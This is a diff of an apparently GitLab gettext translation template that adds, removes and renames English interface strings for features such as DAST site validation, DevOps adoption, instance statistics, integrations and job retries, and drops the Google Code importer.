msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
